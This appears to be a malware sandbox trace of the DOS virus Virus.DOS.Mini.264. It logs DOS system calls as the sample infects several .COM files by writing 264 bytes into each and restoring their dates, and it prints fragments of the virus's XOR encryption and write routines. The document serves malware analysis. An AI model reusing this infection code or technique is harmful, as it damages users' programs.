Sample viewer

vx.netlux.org/Virus.DOS.Mini.264

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:46:14.26000857Z 26 PC: 12a65 | Set disk transfer address
2018-12-17T22:46:14.261873307Z 78 PC: 12a7a | Find first file
2018-12-17T22:46:14.26880739Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: add al, ch
2018-12-17T22:46:14.27135079Z 61 PC: 12a95 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:46:14.279001084Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.287012008Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.289181901Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.305774982Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.308937505Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.31663819Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.322563005Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.332228127Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.336263543Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: inc ax
0x12b21: call 0x12b33
0x12b24: mov ah, 0x40
0x12b26: mov cx, 0x108
0x12b29: lea dx, word ptr [bp + 0x103]
0x12b2d: int 0x21
0x12b2f: call 0x12b33
0x12b32: ret
2018-12-17T22:46:14.339153318Z 61 PC: 12a95 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:46:14.348593134Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.356093216Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.358255613Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.362653448Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.364119675Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.367029329Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.368684524Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.377690389Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.381076327Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: inc si
0x12b21: call 0x12b33
0x12b24: mov ah, 0x40
0x12b26: mov cx, 0x108
0x12b29: lea dx, word ptr [bp + 0x103]
0x12b2d: int 0x21
0x12b2f: call 0x12b33
0x12b32: ret
2018-12-17T22:46:14.38397642Z 61 PC: 12a95 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:46:14.392213226Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.399484492Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.401470788Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.406722376Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.40865603Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.411970202Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.41466656Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.422973747Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.425837297Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: inc si
0x12b21: call 0x12b33
0x12b24: mov ah, 0x40
0x12b26: mov cx, 0x108
0x12b29: lea dx, word ptr [bp + 0x103]
0x12b2d: int 0x21
0x12b2f: call 0x12b33
0x12b32: ret
2018-12-17T22:46:14.429148469Z 61 PC: 12a95 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:46:14.436574793Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.442348314Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.44367556Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.44588411Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.447005649Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.448924105Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.450500506Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.45554206Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.457391578Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: dec bx
0x12b21: call 0x12b33
0x12b24: mov ah, 0x40
0x12b26: mov cx, 0x108
0x12b29: lea dx, word ptr [bp + 0x103]
0x12b2d: int 0x21
0x12b2f: call 0x12b33
0x12b32: ret
2018-12-17T22:46:14.459710037Z 61 PC: 12a95 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:46:14.46401136Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.468226124Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.470034307Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.472425185Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.473708137Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.476549422Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.477984869Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.485954625Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.488989835Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: dec bx
0x12b21: call 0x12b33
0x12b24: mov ah, 0x40
0x12b26: mov cx, 0x108
0x12b29: lea dx, word ptr [bp + 0x103]
0x12b2d: int 0x21
0x12b2f: call 0x12b33
0x12b32: ret
2018-12-17T22:46:14.491647687Z 61 PC: 12a95 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:46:14.495844474Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.499988398Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.501576102Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.507210676Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.508358881Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.515976024Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.517581138Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.526694476Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.530539694Z 44 PC: 12b08 | Get time 0x12b08: xor dl, ch
0x12b0a: mov byte ptr ds:[bp + 0x1e0], dl
0x12b0f: ret
0x12b10: push ax
0x12b11: mov ah, byte ptr ds:[bp + 0x1e0]
0x12b16: mov di, si
0x12b18: lodsb al, byte ptr [si]
0x12b19: xor al, ah
0x12b1b: stosb byte ptr es:[di], al
0x12b1c: loop 0x12b18
0x12b1e: pop ax
0x12b1f: ret
0x12b20: push cx
0x12b21: call 0x12b33
0x12b24: mov ah, 0x40
0x12b26: mov cx, 0x108
0x12b29: lea dx, word ptr [bp + 0x103]
0x12b2d: int 0x21
0x12b2f: call 0x12b33
0x12b32: ret
2018-12-17T22:46:14.533414742Z 61 PC: 12a95 | Open file (Filename = 'PAH.COM')
2018-12-17T22:46:14.541900113Z 63 PC: 12aa3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:46:14.549783106Z 66 PC: 12abc | Move file pointer
2018-12-17T22:46:14.551870227Z 64 PC: 12b2f | Write file or device (Write 264 bytes on handle 5)
2018-12-17T22:46:14.555316451Z 66 PC: 12ad7 | Move file pointer
2018-12-17T22:46:14.557992776Z 64 PC: 12ae2 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:46:14.561142952Z 87 PC: 12af1 | Get or set file date and time
2018-12-17T22:46:14.563068086Z 62 PC: 12af5 | Close file
2018-12-17T22:46:14.572560794Z 79 PC: 12a7a | Find next file
2018-12-17T22:46:14.575388761Z 26 PC: 12b01 | Set disk transfer address